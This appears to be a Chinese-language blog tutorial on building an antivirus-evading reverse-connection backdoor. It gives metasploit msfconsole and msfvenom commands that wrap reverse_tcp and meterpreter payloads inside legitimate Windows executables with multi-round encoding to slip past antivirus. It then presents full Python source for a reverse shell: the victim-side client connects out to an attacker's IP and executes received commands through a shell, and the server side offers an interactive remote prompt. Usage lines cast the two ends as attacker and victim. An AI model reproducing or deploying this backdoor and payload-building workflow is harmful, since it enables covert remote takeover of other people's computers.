Python安全之编写反弹连接‘免杀’后门

生成后门的工具:

虽然在WEB安全专栏,不过今天要编写的是一个二进制后门,而不是WEBSHELL。按惯例还是来一段KALI里面的“免杀”后门生成工具,大名鼎鼎的metasploit:
方法一msfconsole:

msf5 > use windows/shell/reverse_tcp
		msf5 payload(windows/shell/reverse_tcp) > set lhost 10.1.13.80
		msf5 payload(windows/shell/reverse_tcp) > show encoders
		msf5 payload(windows/shell/reverse_tcp) > generate -b '\x00\xff' -f exe -e x86/shikata_ga_nai -i 8 -k -x /usr/share/windows-binaries/radmin.exe -o radmin.exe
参数说明:
			-b:去掉坏字符
			-f:输入格式
			-e:指定encoder
			-i:几轮编码
			-k:以线程形式运行
			-x:指定要附着的程序
			-o:输出

方法二msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp -x /usr/share/windows-binaries/whoami.exe LHOST=10.1.13.202 LPORT=1234 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe -o /lee/houmen/whoami2.exe
msfvenom常用参数:
			-h:帮助
			--list payloads:查看可用的payload
			-p:指定payload
				--list-options:查看当前指定的payload的可用参数
			--list formats:查看可用的输出格式
			-f:指定输出格式
			--list archs:查看可用的架构
			-a:指定架构
			--list platforms:查看可用的平台
			--platform:指定平台
			-o:指定输出路径及文件名
			-b:指定坏字符
			-n:指定nop长度
			--encoder:查看可用的编码(加密)模块
			-e:指定编码(加密)方式
			-i:加密几轮

不过很遗憾,我几乎把参数用完了,结果还是被杀软干掉了。今天我们就用Python写一个反弹连接的后门吧。

Python3反弹连接后门代码:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# @Time     :2020/1/3 9:53
# @Author   :Donvin.li
# @File     :backdoor_reverse.py

import sys  #用于获取命令行参数
import getopt   #用于获取命令行参数
import socket   #用于建立TCP连接
import subprocess   #用于返回操作系统命令
from threading import Thread    #用于多线程

#2、命令行参数获取及功能(函数)选择
def main():
    #2.1 开始获取参数
    help=False  #先要声明变量,否则假如命令行没有输入-h时,help变量不存在,会影响后面的判断
    listen=False
    try:
        opts,x=getopt.getopt(sys.argv[1:],'t:p:hl')    #命令行一共4个选项,l,h主要做判断,t,p传值
        for y,z in opts:
            if y=='-t':
                target=z
            elif y=='-p':
                port=int(z)
            elif y=='-h':
                help=True
            elif y=='-l':
                listen=True
            else:
                pass
    except:
        print('没有此参数,帮助信息:python3 backdoor_reverse.py -h')
        sys.exit()  #try主要用来捕捉异常,避免输入不存在的参数程序报错

    #2.2 开始根据捕捉的参数判断要执行的功能(函数)
    if help:
        usage()     #如果输入的是-h,执行帮助信息函数usage()
    elif listen:
        server_backdoor(port)    #如果输入的是-l,执行服务器端函数,服务器端需要一个参数port即可
    else:
        client_backdoor(target,port)    #如果是其它的,执行客户端函数,客户端需要两个参数target,port

#3、设计服务器端函数
def server_backdoor(port):
    server=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建socket对象
    server.bind(('0.0.0.0',port))   #监听地址及端口
    server.listen(10)   #开始监听10个客户端
    print('[*] 监听在:0.0.0.0 %d' % port)  #监听成功打印
    while True:
        client_socket, addr = server.accept()   #循环接受连接
        print('[*] Accept from %s:%d' % (addr[0], addr[1])) #连接成功打印

        t = Thread(target=command_send, args=(client_socket,))  #多线程启动command_send(client_socket)函数
        t.start()

def command_send(client_socket):
    while True:
        command = input('shell_>')  #接收输入
        command += '\n' #每次输入完的内容末尾加一个\n
        client_socket.send(command.encode('utf-8')) #发送输入的值(操作系统命令)

        #由于每次接收4096个字节的数据,假如一些系统命令的输出数据大于4096,那么将会出现返回的数据没接收完就打印了部分信息
        #所以需要判断数据是否传完,传完才开始打印。
        rec_len = 1
        data = ''.encode('utf-8')
        while rec_len:
            response = client_socket.recv(4096) #每次接收4096个字节的数据
            rec_len = len(response) #每次接收都计算数据包大小
            data += response    #每接收一次数据(4096字节)追加到data变量
            if rec_len < 4096:  #当数据包小于4096时可判断是最后一次传数据,那么就可以结束循环(接收数据)
                break
        print(data.decode('gbk'), end='')   #接收完数据打印出来

def client_backdoor(target,port):
    client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    client.connect((target,port))
    shell_send(client)

def shell_send(client):
    while True:
        cmd_buffer = ''.encode('utf-8')
        while b'\n' not in cmd_buffer:
            response = client.recv(1024)
            #print(response)
            cmd_buffer += response
        cmd = cmd_buffer.decode()
        #print(cmd)
        try:
            out = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)    #这里是关键,就是讲系统命令用cmd传进来,并将结果赋给out
            client.send(out)
        except:
            client.send(b"Failed to execute command.\r\n")

#1、设计基本功能和帮助信息
def usage():
    print('基本功能: 客户端建立一个反弹连接,将自己执行系统命令的结果发送给服务器端')
    print('hlep info: python3 backdoor_reverse.py -h')
    print('Server端: python3 backdoor_reverse.py -lp [监听端口]')
    print('Client端: python3 backdoor_reverse.py -t [目标IP] -p [监听端口]')
    sys.exit()

if __name__=='__main__':
    main()

几乎每一行都注释了,不在一一解释了。不过它只是一个基本的功能,有太多的问题需要完善。这是服务端和客户端二合一的程序,显示中当然是分离的好。纯Python脚本没有被杀毒软件杀掉,不过不知道编译成exe后是否依然免杀。

使用方法:

python3 backdoor_reverse.py -h	#查看帮助
python3 backdoor_reverse.py -lp 4444	#服务端(攻击者)监听端口等待客户端(受害者)连接
python3 backdoor_reverse.py -t 192.168.8.8 -p 4444	#连接远程端口

Python安全之编写反弹连接‘免杀’后门_第1张图片

你可能感兴趣的:(WEB安全)